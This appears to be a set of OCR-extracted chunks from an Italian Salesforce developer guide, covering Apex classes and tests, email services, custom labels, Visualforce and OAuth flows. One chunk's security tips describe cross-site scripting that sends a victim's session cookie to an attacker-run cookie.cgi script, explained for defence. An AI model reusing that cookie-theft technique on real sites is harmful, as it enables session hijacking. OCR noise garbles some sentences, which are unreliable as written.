136. WSDL Una volta creata una classe Apex possibile effettuare una delle operazioni seguenti e Fare clic e Fare clic su Modifica accanto al nome della classe per modificarne il contenuto in un semplice editor su Canc accanto al nome della classe per eliminare la classe dall organizzazione O Nota possibile aggiungere modificare o eliminare Apex tramite l interfaccia utente di Salesforce solo in un organizzazione Developer Edition in un organizzazione di prova Enterprise Edition di Salesforce o in un organizzazione Sandbox In un organizzazione di produzione Salesforce possibile apportare modifiche all Apex solo utilizzando la chiamata deploy dell API metadati Force com IDE o lo strumento di migrazione Force com Force com IDE e lo strumento di migrazione Force com sono risorse gratuite fornite da Salesforce a supporto dei propri utenti e partner ma non sono considerati parte dei Servizi ai fini dell Accordo Quadro di Sottoscrizione di Salesforce Non possibile eliminare una classe specificata come controller per una pagina Visualforce o un componente Un icona indica che una classe Apex stata rilasciata in un pacchetto gestito Le classi Apex nei pacchetti hanno delle considerazioni speciali Un icona p indica che un pacchetto gestito installato contiene una classe Apex Non possibile modificare o eliminare una classe in un pacchetto gestito Un icona indica che una classe Apex di un pacchetto gestito rilasc
137. _password Conferma password down_for_maintenance lt i gt 0 lt i gt non disponibile per manutenzione email Email Ottimizzazione di Salesforce con il codice Etichetta email_us enter_password error error2 file_not_found forgot_password forgot_password_confirmation forgot_your_password_q get_in_touch go_to_login_page img_path in_maintenance imit_exceeded ogin ogin_button ogin_or_register_first ogout new_password new_user_q old_password page_not_found page_not_found_detail password passwords_dont_match powered_by register registration_confirmation site_login site_under_construction Guida dell utente Componenti Apex Visualforce e Lightning 25 Messaggio inviare un messaggio email La password stata dimenticata Immettere il nome utente di seguito Errore 0 Errore Impossibile trovare il file Password dimenticata Conferma password dimenticata Password dimenticata Se si necessita di assistenza lt a href 0 gt 1 lt a gt Vai a pagina di accesso imgysiti Non disponibile per manutenzione Limite superato Accesso Accesso Per visualizzare questa pagina necessario prima effettuare l accesso o registrarsi Esci Nuova password Nuovo utente Vecchia password Impossibile trovare la pagina Impossibile trovare la pagina 0 Password Le password non corrispondono Generato da Registra Conferma registrazione Accesso al sito Sito in costruzione
138. a Disponibile nelle versioni 4 Nelcampo Indirizzo emai1 inserire la parte locale dell indirizzo di servizio di email Enterprise Edition DER ER ai Performance Edition Salesforce genera una parte di dominio univoca per ciascun indirizzo di servizio di email per de SE DE RR uri Da Unlimited Edition e assicurarsi che non vi siano duplicati negli indirizzi La parte di dominio generata viene visualizzata Sa 0 Developer Edition alla destra delcampo Indirizzo email L utilizzo dei servizi di email Q Suggerimento per la parte locale di un indirizzo email Salesforce sono validi tutti i nei pacchetti AppExchange caratteri alfanumerici oltre ai seguenti caratteri speciali amp 2A_ perla parte installati disponibile anche di dominio di un indirizzo email Salesforce sono validi solo i caratteri alfanumerici e il nelle versioni Group Edition trattino Sia nella parte locale sia nella parte di dominio valido anche il punto e Professional Edition purch non venga utilizzato come primo o come ultimo carattere Negli indirizzi email Salesforce non viene fatta distinzione tra maiuscole e minuscole g NOON TAATAAN l pp ila NEC UTENTE 5 Selezionare la casella di controllo Attivo se si desidera che venga attivato l indirizzo di servizio 6 Scegliere Utente contesto li servizio di email suppone che siano presenti le autorizzazioni email e gli indirizzi di servizi i a l di email Apex dell utente contesto quando el
139. a Ricerca veloce selezionare Classi Apex quindi selezionare Esegui tutti i test e Per eseguire i test per una singola classe da Imposta immettere Apex nella casella Ricerca veloce quindi selezionare Esecuzione test Apex Fare clic su Seleziona test per selezionare le classi che contengono i test che si desidera eseguire e fare clic su Esegui Una volta esequiti i test possibile visualizzare i risultati della copertura codice nella Console sviluppatore incluse le righe di codice coperte dai test per singole classi o trigger Vedere Verifica della copertura codice VEDERE ANCHE Esecuzione dei test Apex http www salesforce com us developer docs apexcode Content apex_code_coverage_best_pract htm Esecuzione dei test Apex Esecuzione dei test Apex 1 Dalmposta immettere Esecuzione test Apex nella casella Ricerca veloce quindi selezionare Esecuzione test Apex 2 Fare clic su Seleziona test O Nota Se vi sono delle classi Apex installate da un pacchetto gestito necessario dapprima compilarle facendo clic su Compila tutte le classi nella pagina Classi Apex in modo che siano visualizzate nell elenco Vedere Gestione delle classi Apex a pagina 56 3 Selezionare i test da eseguire L elenco di test include solo classi che contengono metodi di test e Per selezionare i test da un pacchetto gestito installato selezionare lo spazio dei nomi corrispondente del pacchetto gestito nell elenco a discesa Solo le cl
140. a lingua per modificare una traduzione Se si fa clic su Elimina Salesforce chiede conferma dell eliminazione e quindi elimina la traduzione dall etichetta personalizzata 4 Selezionare la Lingua nella quale si sta traducendo 5 Inserire il Testo da tradurre Questo testo sostituisce il valore specificato nel campo Valore dell etichetta quando la lingua predefinita dell utente la lingua della traduzione 6 Fare clic su Salva VEDERE ANCHE Creazione e modifica di etichette personalizzate Panoramica sulle etichette personalizzate Lightning 121 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Developer Edition Professional Edition Enterprise Edition Performance Edition e Unlimited Edition FANGO NPZZAVA O N UTENTE Creare modificare ed eliminare etichette personalizzate e Personalizza applicazione Per creare o sostituire una traduzione e Gestisci traduzione OPPURE Visualizza impostazione e configurazione ed essere designato come traduttore Ottimizzazione di Salesforce con il codice Visualizzazione delle etichette personalizzate Dopo aver creato un etichetta personalizzata possibile e Modificarla O Nota non consentito modificare gli attributi delle etichette personalizzate installate come parte di un pacchetto gestito possibile solo sostituire le traduzioni esistenti o fornire nuove tradu
141. a per nome utilizzando la variabile globale Resource anzich specificare ID di documento a livello di codice Per fare riferimento a un file autonomo utilizzare Resource lt nome_risorsa gt come campo di unione dove lt nome_risorsa gt il nome indicato quando stata caricata la risorsa Ad esempio lt apex imag oppure lt apex includeScript value Resource MyJavascriptFile gt Guida dell utente Componenti Apex Visualforce e Lightning 80 DAON Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOLON TZAVA ON UTENTE Per creare e modificare i componenti personalizzati e Personalizza applicazione D7 ON Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition url Resource TestImage width 50 height 50 gt Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 81 Perfareriferimentoa un file in un archivio utilizzare la funzione URLFOR Specificare il nome della risorsa statica indicato quando stato caricato l archivio con il pri
142. a tabella che segue sono indicate le differenze tra le pagine Visualforce e gli S Control Conoscenze tecniche richieste Stile linguaggio Modello di sostituzione pagine Libreria di componenti standard Salesforce Accesso al comportamento della piattaforma incorporata Collegamento dati Pagine Visualforce HTML XML Markup tag Assemblaggio di componenti standard e personalizzati con i tag S S tramite il controller standard S Gli sviluppatori possono collegare un componente di input ad esempio una S Control HTML JavaScript Ajax Toolkit Codice procedurale Scrittura HTML e JavaScript per l intera pagina 0 o Gli sviluppatori non possono collegare un componente di input a un campo Ottimizzazione di Salesforce con il codice Eredit dei fogli di stile Rispetto per i metadati dei campi quali l univocit Interazione con Apex Prestazioni Contenitore pagine VEDERE ANCHE Informazioni sugli S Control Visualforce Guida dell utente Componenti Apex Visualforce e Lightning 135 Pagine Visualforce casella di testo a un campo particolare ad esempio Nome account Se un utente salva un valore in quel componente di input tale valore viene salvato anche nel database S S per impostazione predefinita Se un utente tenta di salvare un record che viola gli attributi di campo di univocit o obbligatoriet viene visualizzato automaticamente un messaggio di errore
143. abilitata IP impostazione predefinita Imponi L utente che esegue questa restrizioni applicazione soggetto alle limitazioni IP IP dell organizzazione ad esempio agli intervalli IP impostati nel profilo utente Riduci Un utente che esegue questa restrizimi applicazione ignora le restrizioni IP IP con dell organizzazione se una delle il seguenti condizioni vera secondo l applicazione dispone di intervalli IP inseriti in una whitelist e utilizza il flusso di autenticazione OAuth del server Web Sono consentite solo le richieste provenienti dagli IP inseriti nella whitelist fattore e L applicazione non ha alcuna whitelist di intervalli IP utilizza il flusso di autenticazione OAuth del server Web o utente agente e l utente ha completato correttamente la procedura di conferma identit Riduci L utente che esegue questa restrizioni applicazione connessa non soggetto IP ad alcuna restrizione P continua Quando l imposizione IP continua abilitata L utente che esegue questa applicazione soggetto alle limitazioni IP dell organizzazione ad esempio agli intervalli IP impostati nel profilo utente Un utente che esegue questa applicazione ignora le restrizioni IP dell organizzazione se una delle condizioni OAuth nella colonna precedente vera Tuttavia per motivi di sicurezza l utente non pu accedere alle seguenti opzioni e Cambia password e Aggiungi un token basato sul tempo e Qualsiasi
144. abora i messaggi ricevuti da questo indirizzo Ad esempio se il S e oe na O Sg e e Modifica tutti i dati servizio di email configurato per modificare i record referente al ricevimento di informazioni aggiornate su un referente modificher un record solo se l utente contesto dispone Per creare classi Apex dell autorizzazione di modifica del record e Apex autore O Importante Scegliere un utente contesto che disponga dell autorizzazione a eseguire la classe Apex per cui il servizio di email opportunamente configurato 7 anche possibile configurare questo indirizzo di servizio di email in modo che accetti solo i messaggi di alcuni mittenti elencandone gli indirizzi email e i domini nella casella ditesto Accetta messaggio email da Separare gli elementi con una virgola Ad esempio giorgio miasociet com yahoo com gmail com Se per la casella ditesto Accetta messaggio email da stato specificato un valore e il servizio di email riceve un messaggio da un indirizzo o dominio non in elenco il servizio di email esegue l azione specificata nelle impostazioni di risposta operazione non riuscita diAzione per Mittente non autorizzato Lasciare questo capo vuoto se si desidera che il servizio di email riceva messaggi da qualsiasi indirizzo O Nota Se il servizio di email e l indirizzo di servizio di email sono entrambi configurati per accettare messaggi solo da determinati mittenti il servizio di email elabora unicamente i messagg
145. accedere ai registri dalla scheda Logs Registri Open Raw Log Apri registro non formattato apre il registro selezionato come testo normale Download Log Scarica registro salva una copia testuale del registro locale sul computer locale Save Salva salva la voce nella scheda attiva Save All Salva tutto salva le modifiche in tutte le schede aperte nell area di lavoro Usare questa opzione per salvare una serie di modifiche dipendenti Delete Elimina elimina la voce nella scheda attiva possibile solo eliminare le classi e i trigger Apex le pagine Visualforce e i file delle risorse statiche Close Chiudi chiude la scheda attiva Close All Chiudi tutto chiude tutte le schede aperte nell area di lavoro Se le schede contengono modifiche non salvate verr chiesto se si desidera salvarle VEDERE ANCHE Utilizzo della finestra File Open File Apri Source Code Editor Editor codice sorgente Object Inspector Controllo oggetti Utilizzo della finestra File Open File Apri La finestra File gt Open File Apri nel menu della Console sviluppatore consente di cercare e aprire il codice della propria applicazione e gli oggetti di dati Ottimizzazione di Salesforce con il codice Open x scotte feste rema Setup Name Namespace Name Extent Direction Classes AcceptedEventRelati a Triggers Account 3 Pages AccountContactRole Page Components AccountFeed Objects AccountHistory Static Resources Accoun
146. account utente associato nel sistema di destinazione valori validi sono e collegato le modifiche all account nell organizzazione Salesforce vengono inserite nell area di attesa per essere aggiornate con l account utente associato nel sistema di destinazione duplicato nel sistema di destinazione esiste un account associato e isolato nel sistema di destinazione non esiste alcun account associato e ignorato le modifiche all account nell organizzazione Salesforce non hanno alcun effetto sull account utente associato nel sistema di destinazione Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 198 Per modificare questi valori utilizzare la sezione Account utente della pagina dei dettagli di un applicazione connessa Sezione Account utente della pagina dei dettagli di un applicazione connessa La sezione Account utente nella pagina dei dettagli di un applicazione connessa elenca tutti gli account rilevati e collegati al servizio della terza parte Utilizzare questa sezione per gestire lo Stato collegamento all account di terze parti e modificare i dettagli archiviati nella configurazione account In genere Salesforce gestisce lo Stato collegamento all account del servizio di terze parti Salesforce in grado di rilevare e associare account utente tra un organizzazione Salesforce e un sistema di terze parti durante un processo di riconciliazione L associazione basata sugli att
147. acker com come stringa di query nella richiesta allo script cookie cgi A questo punto l autore dell attacco ha il cookie della sessione della vittima e pu collegarsi all applicazione Web come se fosse la vittima L autore dell attacco pu inviare uno script dannoso mediante un sito Web o un messaggio email Gli utenti delle applicazioni Web vedono l input dell autore dell attacco e il loro browser pu eseguire lo script dannoso in un contesto fidato Forte di questa capacit l autore dell attacco pu eseguire una vasta gamma di attacchi ai danni della vittima che possono essere azioni semplici come l apertura e la chiusura di finestre ma anche pi gravi come il furto di dati o dei cookie delle sessioni con il conseguente accesso completo da parte dell autore dell attacco alla sessione della vittima Per ulteriori informazioni su questo attacco in generale vedere i seguenti articoli Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 101 e http www owasp org index php Cross_Site_Scripting e http www cgisecurity com xss faq html e http www owasp org index php Testing_for_Cross_site_scripting e http www google com search q cross site scripting All interno della piattaforma Force com sono state implementate varie difese anti XSS Ad esempio Salesforce ha implementato dei filtri che escludono i caratteri dannosi nella maggior parte dei metodi di output Per gli sviluppatori ch
148. adati Force com IDE o lo strumento di migrazione Force com Force com IDE e lo strumento di migrazione Force com sono risorse gratuite fornite da Salesforce a supporto dei propri utenti e partner ma non sono considerati parte dei Servizi ai fini dell Accordo Quadro di Sottoscrizione di Salesforce e Fare clic su Elimina per eliminare la classe all Apex solo utilizzando la chiamata ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition ANOLON TAAA ON UTENTE Per definire modificare eliminare impostare la protezione configurare le impostazioni di versione mostrare le dipendenze ed eseguire test per le classi Apex e Apex Autore O Nota Non possibile eliminare una classe specificata come controller per una pagina Visualforce o un componente Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 60 e Se la classe ha un metodo definito come webService fare clic su Genera WSDL per creare un documento WSDL basato sulla classe O Nota non possibile generare un documento WSDL per classi definite come isTest e Fare clic su Scarica per scaricare una copia del proprio Apex e Fare clic su Esegui test per eseguire i test di unit contenuti nella classe e Fare clic su Protezione per impostare la
149. adati per applicazioni che possono essere personalizzati distribuiti inseriti nei pacchetti e aggiornati Innanzitutto creare un tipo di metadati personalizzato che definisce il formato dei metadati dell applicazione Quindi creare una funzionalit riutilizzabile che determina il comportamento in base ai metadati di quel tipo Analogamente a un oggetto o a un impostazione personalizzati un tipo di metadati personalizzato ha un elenco di campi personalizzati che rappresentano diversi aspetti dei metadati Dopo che stato creato un tipo di metadati personalizzato pubblico l utente o altri possono creare in modo dichiarativo i record di metadati personalizzati che sono definiti da quel tipo Quando si inserisce un tipo di metadati personalizzato pubblico in un ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni YANG O NPZZAVA O N UTENTE Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse ID PA 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition pacchetto i clienti che installano il pacchetto possono aggiungere i propri record al tipo di metadati La funzionalit riutilizzabile legge i metadati personalizzati e li utilizza per produrre comportamenti personalizzati dell applicazione Da
150. alizzato nel campo A della busta se presente fromAddress Stringa Nome visualizzato nel campo Da della busta se presente VEDERE ANCHE Definizione di servizi di email Panoramica su Apex Code Etichette personalizzate Panoramica sulle etichette personalizzate Le etichette personalizzate sono valori di testo personalizzati a cui possibile accedere dalle classi Apex dalle pagine Visualforce o dai componenti Lightning valori possono essere tradotti in qualsiasi lingua supportata da Salesforce Le etichette personalizzate consentono agli sviluppatori di creare applicazioni multilingue presentando automaticamente delle informazioni ad esempio testi per l assistenza o messaggi di errore nella lingua madre dell utente possibile creare un massimo di 5000 etichette personalizzate per l organizzazione le etichette possono contenere un massimo di 1000 caratteri Le etichette personalizzate provenienti dai pacchetti gestiti non vengono conteggiate in questo limite Per accedere alle etichette personalizzate da Imposta immettere Etichette personalizzate nella casella Ricerca veloce quindi selezionare Etichette personalizzate Da questa pagina possibile e Creare una nuova etichetta o modificare un etichetta personalizzata esistente e Visualizzare un etichetta personalizzata esistente Dalla pagina di visualizzazione possibile creare o modificare una traduzione in una lingua utilizzata dalla propria organizzazione Per aggi
151. almente all S Control Per restituire l ID del tipo di record corrente specificare quanto segue S RecordType Id e Utilizzare RecordType Id anzich SRecordType Name per fare riferimento a un tipo di record specifico Sebbene RecordType Name renda la formula pi leggibile necessario aggiornare a formula se viene modificato il nome del tipo di record mentre l ID del tipo di record non cambia mai Tuttavia se si stanno distribuendo le formule tra le organizzazioni ad esempio tra Sandbox e produzione utilizzare SRecoraType Name poich gli ID non sono gli stessi tra le diverse organizzazioni e Evitare di utilizzare SRecoradType nelle formule tranne nelle formule per valori predefiniti Utilizzare invece il campo di unione RecordType ad esempio Account RecoraType Name oppure il campo RecordTypetld sull oggetto e Non fare riferimento a campi con il campo di unione RecordType nelle formule oggetti incrociate La variabile SRecoraType viene risolta nel record contenente la formula e non nel record a cui viene estesa la formula Al suo posto utilizzare il campo di unione RecordType sull oggetto Campo di unione globale da utilizzare quando si fa riferimento per nome a un parametro di query che restituisce un valore Aggiungere Request manualmente all s Control Lo snippet seguente denominato Title Snippet richiede due parametri di input titleTheme e titleText possibile riutilizzarlo in molti S Control per forn
152. alore di hash SHA256 del valore code verifier nella richiesta di token per contribuire a impedire gli attacchi mirati all intercettazione del codice di autorizzazione Il valore deve anche essere codificato una volta con base64url come definito quihttps tools ietf org html rfc4648 section 5 Questo parametro obbligatorio solo se nella richiesta di token verr specificato il parametro code _verifier Se nella richiesta di autorizzazione viene fornito il valore code challenge e nella richiesta di token viene fornito un valore code verifier Salesforce confronta code challenge con code verifier Seilvalore code challenge non valido o non corrisponde l accesso non riesce e viene generato il codice di errore invalid request Se nella richiesta di autorizzazione viene fornito il valore code challenge ma nella richiesta di token non viene fornito un valore code verifier l accesso non riesce e viene generato il codice di errore invalid grant display modifica il tipo di visualizzazione delle pagine di accesso e autorizzazione Questo parametro facoltativo Gli unici valori supportati da Salesforce sono page schermata di autorizzazione a pagina intera Questo il valore predefinito se non viene specificato un altro valore popup finestra di dialogo compatta ottimizzata per le finestre popup dei browser Web pi moderni touchi finestra di dialogo ottimizzata per dispositivi mobili progettata per i moderni smartphone quali
153. anotherMethod Some code that causes Trigger2 to be fired VEDERE ANCHE Livelli del registro debug Test Verifica delle modifiche Questa sezione contiene informazioni sulla verifica delle modifiche e Informazioni sui test di unit Apex e Esecuzione dei test Apex e Esecuzione di test nella Console sviluppatore e Esecuzione di Apex Code anonimo Ottimizzazione di Salesforce con il codice Informazioni sui test di unit Apex L esecuzione di test fondamentale per il successo dell applicazione in particolare se quest ultima deve essere distribuita ai clienti Un modo per instaurare pi fiducia nei propri clienti accertarsi che l applicazione funzioni come previsto e non vi siano comportamenti indesiderati Per favorire lo sviluppo di codice sicuro e privo di errori Apex supporta la creazione e l esecuzione di test di unit test di unit sono metodi delle classi che verificano se una porzione specifica di codice funziona correttamente metodi di test di unit non accettano argomenti non confermano dati nel database non inviano messaggi email e sono contrassegnati dalla parola chiave testMethod nella definizione del metodo possibile eseguire test di unit per e Una classe specifica e Un sottoinsieme di classi e Tutti i test di unit nella propria organizzazione Tutti i test Apex che vengono avviati dall interfaccia utente di Salesforce inclusa la Console sviluppatore vengono eseguit
154. api Di seguito riportato un esempio di richiesta in cui il parametro scope viene impostato con i valori api id e web http login salesforce com services oauth2 authorize response type tokeng amp client_ id 3MVG91KcPoNINVBKV6EgVIiF snsDwh6 2wSS7BrOhHGEUKC amp redirect uri http www example org ga security oauth useragent flow callback jsp amp scope api 20id 20web VEDERE ANCHE Autenticazione delle applicazioni con OAuth Ottenere e verificare un token ID Revoca dei token OAuth Quando gli utenti richiedono i propri dati dall interno dell applicazione esterna la pagina del DAON consumatore vengono autenticati E possibile revocare i token di accesso o il token di aggiornamento e tutti i token di accesso correlati mediante la funzionalit di revoca Gli sviluppatori Disponibile nelle versioni possono utilizzare questa funzione quando configurano un pulsante Esci nell applicazione Salesforce Classic Disponibile in tutte le Revoca dei token vercioni Per revocare i token OAuth 2 0 utilizzare l endpoint di revoca https login salesforce com services oauth2 revoke Creare una richiesta POST che includa i seguenti parametri utilizzando il formato application x www form urlencoded nel corpo entit della richiesta HTTP Ad esempio POST revoke HTTP 1 1 Host https login salesforce com services oauth2 revoke Content Type application x www form urlencoded token currenttoken Ottimizzazione d
155. applicazione per viaggi interplanetari che utilizza le funzioni di elenchi di selezione di Picklists R Us e Galactic Tours un cliente di queste organizzazioni Galactic Tours installa il pacchetto di Picklists R Us e l estensione di TravelApp Inc nella propria organizzazione Visitare il gruppo comunit Custom Metadata Types in success salesforce com per avere la propria copia dell applicazione di esempio e parlare di questa funzionalit Limitazioni relative ai tipi di metadati personalizzati Quando si utilizzano i tipi di metadati personalizzati tenere presente questi comportamenti speciali EDIZIONI e queste limitazioni Funzione upsert indisponibile Disponibile nelle versioni La funzione upsert non disponibile per i metadati personalizzati Salesforce Classic Aggiornamento di tipi e record Disponibile nelle versioni Non possibile aggiornare i tipi e i record protetti in un pacchetto installato gestito a livello di Enterprise Edition programmazione possibile modificare i tipi e i record protetti solo eseguendo un Performance Edition aggiornamento del pacchetto Unlimited Edition Developer Edition e Non ibil i itipiei d pubblici utilizzando dirett te l Apex P difi E on e poss lle aggiornare I IpI I record pu ICI Utilizzando direttamente pex Fer Modiricare Database com Edition i record dall Apex necessario effettuare chiamate all API dei metadati Relazioni tra metadati Le relazioni tra metadati n
156. are attenzione ai seguenti punti quando si utilizzano le impostazioni di versione dei pacchetti Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 59 e Sesi salva una classe o un trigger Apex che fa riferimento a un pacchetto gestito senza specificarne una versione per impostazione predefinita la classe o il trigger Apex vengono associati all ultima versione installata del pacchetto gestito e Non possibile rimuovere l impostazione di versione di una classe o un trigger per un pacchetto gestito se la classe o il trigger fanno riferimento al pacchetto Utilizzare Mostra dipendenze per trovare i riferimenti al pacchetto gestito da parte di una classe o di un trigger Visualizzazione delle classi Apex Dopo aver creato una classe possibile visualizzare il codice contenuto nella stessa nonch l API in base al quale stata salvata la classe e verificare se la classe valida o attiva Da Imposta immettere Classi Apex nella casella Ricerca veloce quindi selezionare Classi Apex e fare clic sul nome della classe da visualizzare Durante la visualizzazione di una classe possibile effettuare una delle operazioni seguenti e Fare clic su Modifica per apportare le modifiche alla classe O Nota possibile aggiungere modificare o eliminare Apex tramite l interfaccia utente di Salesforce solo in un organizzazione Developer Edition in un organizzazione di prova Enterp
157. are le pagine Visualforce che si desidera abilitare dall elenco Pagine Visualforce disponibili e fare clic su Aggiungi possibile anche selezionare le pagine Visualforce da disabilitare dall elenco Pagine Visualforce abilitate e fare clic su Rimuovi Fare clic su Salva D7AOX Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOLON TZAVA ON UTENTE Per modificare le impostazioni di accesso alle pagine Visualforce e Gestisci profili e insiemi di autorizzazioni ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOLON TAAA ON UTENTE Per impostare la protezione delle pagine Visualforce e Gestisci profili e insiemi di autorizzazioni Ottimizzazione di Salesforce con il codice Suggerimenti di protezione per lo sviluppo di Apex e Visualforce Quando si sviluppano applicazioni personalizzate bene essere consapevoli delle vulnerabilit e proteggersi adeguatamente Descrizione della protezione La potente combinazione di pagine Apex e Visualforce consente agli sviluppatori Force com di fornire funzionalit e logica aziendale a Salesforce o di creare un prodotto nuovo completamente
158. are questo valore quando si utilizza il parametro client assertion Ilvalore di client _assertion_ type deve essere urn ietf params oauth client assertion type jwt bearer e redirect_uri URIa cui reindirizzare l utente dopo l approvazione Questo deve corrispondere esattamente al valore del campo URL di richiamata nella definizione dell applicazione connessa ed lo stesso valore inviato dal reindirizzamento iniziale Vedere Reindirizzamento dell utente per ottenere l autorizzazione all accesso a pagina 218 code codice di autorizzazione ottenuto dalla richiamata dopo l approvazione e code verifier specifica 128 byte di dati casuali con un entropia di entit sufficiente da rendere difficile indovinare il valore allo scopo di impedire attacchi mirati all intercettazione del codice di autorizzazione Il valore deve anche essere codificato una volta con base64url come definito qui https tools ietf org html rfc4648 section 5 Questo parametro obbligatorio solo se nella richiesta di autorizzazione stato specificato il parametro code challenge Se nella richiesta di token viene fornito il valore code_verifier e la richiesta di autorizzazione contiene un valore code challenge Salesforce confronta code verifier con code challenge Seilvalore code verifier non valido o non corrisponde l accesso non riesce e viene generato il codice di errore invalia grant Se nella richiesta di token viene fornito il valore code _ve
159. ariabili di binding nelle query SOQL utilizzate nelle sovrapposizioni risultati del codice sovrapposto vengono visualizzati in una scheda Query Results Risultati della query o Apex Execution Results Risultati dell esecuzione Apex separata nel Checkpoint Inspector Controllo checkpoint Per ulteriori informazioni sulla navigazione nei risultati delle query vedere Query Editor Editor di query Nota Nella scheda Apex Execution Results Risultati dell esecuzione Apex il valore 1 indica che un campo non applicabile VEDERE ANCHE Impostazione dei checkpoint in Apex Code Scheda Checkpoints Checkpoint Checkpoint Inspector Controllo checkpoint Checkpoint Inspector Controllo checkpoint Utilizzare i checkpoint per capire quali oggetti si trovano in memoria in un determinato punto dell esecuzione e vedere quali altri oggetti contengono riferimenti ad essi Accedere alla scheda Checkpoints Checkpoint e fare doppio clic su un checkpoint per visualizzare i risultati nel Checkpoint Inspector Controllo checkpoint Il Checkpoint Inspector Controllo checkpoint fornisce un maggior numero di dettagli sulle variabili rispetto al Log Inspector Controllo registri incluse le singole voci nelle raccolte Il Checkpoint Inspector Controllo checkpoint include due schede e La scheda Heap visualizza tutti gli oggetti che si trovano in memoria al momento dell esecuzione della riga di codice nel checkpoint Gli elementi vengono elen
160. arti e gli enti preposti alla definizione degli standard Fare clic sul logo desiderato quindi copiare e incollare l URL visualizzato nel campo URL immagine logo e possibile utilizzare un logo ospitato pubblicamente sui server Salesforce caricando un immagine che soddisfa i requisiti di dimensione del file altezza 125 pixel o larghezza 200 pixel massimo formato file GIF JPG o PNG con dimensione massima del file di 100 KB come documento utilizzando la scheda Documenti Quindi visualizzare l immagine per ottenere l URL e immettere tale URL nel campo URL immagine logo Immettere un URL icona per visualizzare un logo nella pagina di approvazione OAuth che l utente visualizza quando utilizza per la prima volta l applicazione Il logo deve avere un altezza e una larghezza di 16 pixel ed essere su sfondo bianco loghi di esempio sono disponibili anche per le icone possibile selezionare un icona dagli esempi fomiti facendo clic su Scegliere uno dei nostri loghi di esempio Fare clic sull icona desiderata quindi copiare e incollare l URL visualizzato nel campo URL icona Guida dell utente Integrazione di app con Salesforce 170 Ottimizzazione di Salesforce con il codice 7 Se esiste una pagina Web con ulteriori informazioni sull applicazione fornire un URL info 8 Immettere una Descrizione da visualizzare nell elenco delle applicazioni connesse Prima di Winter 14 l URL iniziale e l URL iniziale applicazione mobile erano d
161. assTest testMyAwesomeMethod testMyAwesomeMethodIfTrue testMyAwesomeMethodIfFalse class Select All My Namespace v Run 2 Selezionare una classe nel riquadro Test Classes Classi di test Per filtrare l elenco di classi utilizzare la casella Filter test classes any Filtro classi di test tutte 3 Una volta incluse tutte le classi desiderate nel riquadro Selected Test Classes Classi di test selezionate fare clic su Run Esegui per mettere in coda le classi ed eseguirle La serie di test viene visualizzata nella scheda Tests Test Per interrompere un test fare clic su Test gt Abort Interrompi O Nota Se i metodi di test inclusi eseguono chiamate ad altri metodi o classi definiti come test nella propria organizzazione verranno eseguiti anche quei metodi e classi 4 Nella scheda Tests Test espandere la serie per vedere i risultati di ogni metodo richiamato da ogni classe della serie O Nota Le classi di test non richiedono copertura di codice pertanto viene visualizzata una copertura dello 0 nel riquadro Overall Code Coverage Copertura codice totale e la copertura codice totale non viene interessata 5 Fare doppio clic sulla serie di test completata per aprire i risultati nella visualizzazione dettagliata che mostra la classe esaminata il metodo di test la durata il risultato classe ignorata test superato o test non superato e un messaggio di errore facoltativo Se un test non stato supera
162. asse o un trigger e fare clic su Impostazioni versione 2 Selezionarela Versione dell API Salesforce Corrisponde anche alla versione di Apex associata alla classe o al trigger 3 Fare clic su Salva Per configurare le impostazioni della versione del pacchetto per una classe o un trigger 1 Modificare una classe o un trigger e fare clic su Impostazioni versione 2 Selezionare una Versione per ogni pacchetto gestito a cui la classe o il trigger fanno riferimento Questa versione del pacchetto gestito continuer a essere utilizzata dalla classe o trigger anche nel caso vengano installate versioni successive a meno che non si aggiorni manualmente l impostazione di versione Per aggiungere un pacchetto gestito installato D OX Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition Enterprise Edition e Database com Edition pacchetti gestiti non sono disponibili nella versione Database com Edition ANSILONTZAVA ON UTENTE Per definire modificare eliminare impostare la protezione configurare le impostazioni di versione mostrare le dipendenze ed eseguire test per le classi Apex e Apex Autore all elenco delle impostazioni selezionarlo dall elenco dei pacchetti disponibili L elenco viene visualizzato solo se installato un pacchetto gestito che non sia gi associato alla classe o al trigger 3 Fare clic su Salva Prest
163. assi del pacchetto gestito con lo spazio dei nomi selezionato verranno visualizzate nell elenco e Per selezionare test che esistono localmente nella propria organizzazione selezionare Spazio dei nomi personale dall elenco a discesa Solo le classi locali non appartenenti a pacchetti gestiti vengono visualizzate nell elenco e Per selezionare qualsiasi test selezionare Tutti gli spazi dei nomi dall elenco a discesa Tutte le classi dell organizzazione vengono visualizzate a prescindere che appartengano a un pacchetto gestito o meno O Nota le classi con test ancora in fase di esecuzione non vengono visualizzate nell elenco 4 Fare clic su Esegui Dopo che sono state selezionate le classi di test da eseguire le classi selezionate vengono poste nell area di attesa dei processi Apex per l esecuzione Il numero massimo di classi di test che possono DAO Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition YANG O NPZZAVA O N UTENTE Per definire modificare eliminare impostare la protezione configurare le impostazioni di versione mostrare le dipendenze ed eseguire test per le classi Apex e 